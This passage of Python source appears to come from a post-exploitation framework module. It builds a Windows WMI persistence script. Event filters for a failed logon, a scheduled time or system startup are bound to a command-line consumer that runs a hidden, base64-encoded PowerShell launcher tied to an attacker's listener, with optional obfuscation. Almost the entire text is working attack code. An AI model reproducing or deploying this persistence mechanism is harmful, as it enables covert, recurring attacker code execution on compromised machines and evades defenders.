            elif not main_menu.listeners.is_listener_valid(listener_name):
                # not a valid listener, return nothing for the script
                return handle_error_message("[!] Invalid listener: " +
                                            listener_name)

            else:
                # generate the PowerShell one-liner with all of the proper options set
                launcher = main_menu.stagers.generate_launcher(
                    listener_name,
                    language='powershell',
                    encode=True,
                    userAgent=user_agent,
                    proxy=proxy,
                    proxyCreds=proxy_creds)

                enc_script = launcher.split(" ")[-1]
                status_msg += "using listener " + listener_name

        # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
        if len(enc_script) > 8190:
            return handle_error_message(
                "[!] Warning: -enc command exceeds the maximum of 8190 characters."
            )

        # built the command that will be triggered
        trigger_cmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + enc_script

        if failed_logon != '':

            # Enable failed logon auditing
            script = "auditpol /set /subcategory:Logon /failure:enable;"

            # create WMI event filter for failed logon
            script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failed_logon + "%'\"}; "
            status_msg += " with trigger upon failed logon by " + failed_logon

        elif (daily_time != '' or day != '' or day_of_week != ''):

            # add DailyTime to event filter
            parts = daily_time.split(":")

            if len(parts) < 2:
                return handle_error_message(
                    "[!] Please use HH:mm format for DailyTime")

            hour = parts[0]
            minutes = parts[1]

            # some presets for building status message and the script
            status_msg_day = " daily"
            day_filter = ""
            script = ""

            # if those day and day_of_week are combined, return nothing for the script
            if (day != '' and day_of_week != ''):
                return handle_error_message(
                    "[!] Can not combine Day and DayOfWeek")

            # add day or day_of_week to event filter
            if day != '':
                if (int(day) < 1) or (int(day) > 31):
                    return handle_error_message(
                        "[!] Please stick to range 1-31 for Day")
                day_filter = " AND (TargetInstance.Day = " + day + ")"
                status_msg_day = " every day of month: " + day + " (1-31)"

            elif day_of_week != '':
                if (int(day_of_week) < 0) or (int(day_of_week) > 6):
                    return handle_error_message(
                        "[!] Please stick to range 0-6 for DayOfWeek")
                day_filter = " AND (TargetInstance.DayOfWeek=" + day_of_week + ")"
                status_msg_day = " every day of week: " + day_of_week + " (0-6)"
                # creating and bind a dummy WMI event filter with a "nop event consumer" as workaround for win32_localtime.day_of_week bug
                day_filter_dummy = " AND (TargetInstance.DayOfWeek=" + day_of_week + " OR TargetInstance.DayOfWeek=" + str(
                    int(day_of_week) + 1) + ")"
                script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + dummy_sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter_dummy + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ") GROUP WITHIN 60\"};"
                script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + dummy_sub_name + "';CommandLineTemplate=\"call\";RunInteractively='false'};"
                script += " Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"

            # create the real WMI event filter for a system time
            script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" + day_filter + " AND (TargetInstance.Hour = " + hour + ") AND (TargetInstance.Minute = " + minutes + ") GROUP WITHIN 60\"};"
            status_msg += " with WMI subscription trigger at " + daily_time + status_msg_day + "."

        else:
            # create the WMI event filter for OnStartup
            script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + sub_name + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
            status_msg += " with OnStartup WMI subsubscription trigger."

        # add in the event consumer to launch the encrypted script contents
        script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + sub_name + "';CommandLineTemplate=\"" + trigger_cmd + "\";RunInteractively='false'};"

        # bind the filter and event consumer together
        script += " Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"

        script += "'WMI persistence established " + status_msg + "'"

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script